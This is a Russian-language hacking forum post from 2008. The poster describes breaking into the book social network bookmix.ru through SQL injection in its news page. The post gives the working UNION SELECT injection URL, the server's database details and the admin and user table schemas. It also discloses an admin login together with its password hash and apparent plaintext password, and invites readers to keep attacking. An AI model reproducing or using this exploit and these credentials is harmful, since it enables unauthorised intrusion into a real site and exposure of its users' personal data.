21.09.2008, 14:27
|
|
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
Провел на форуме:
347573
Репутация:
185
|
|
Новая социальная сеть книголюбов BookMix.ru
Предистория: Сижу както на работе днем. Делать особо нечего. Почитываю новости, и натыкаюсь на интересный заголовок "Открылась социальная сеть книголюбов BookMix.ru".
Думаю а дайка посмотрю, че за сеть то?))
Захожу, вижу новости...в строке передается id. Первая мысль - SQL-Inj. И опа...вуоля!)))) Действительно инъект. Нехитрыми манипуляциями подбираю столбцы.
PHP код:
http://bookmix.ru/news/index.phtml?id=-48+union +select+1,2,3,4,5, 6,7,8,9,10,11/*
USER(): bookmix@localhost
DATABASE(): bookmix
VERSION(): 5.0.22
Есть доступ до information_schema, а посему поковырял таблицы, есть 2 интересные, с полями соответсвенно:
Код:
admins
-user_id
-name
-login
-pass
Код:
users
-user_id
-name
-login
-pass
-email
-icq
-skype
-description
-birthday
-showage
-sex
-phone
-howtohear
-photo
-photo_tn
-photo_tn2
-status
-regdate
-logged
-lastvisit
-referrer
-privatemessagesnotification
-friends
-reviews
-comments
-online
-regcode
-read
-ireadadddate
admins
Код:
1: pechatnick: pechatnick: 7ac2262d4ca6e2de63094a51225b00ee (stroka)
У кого есть желание, ковыряйте дальше)) |
|
|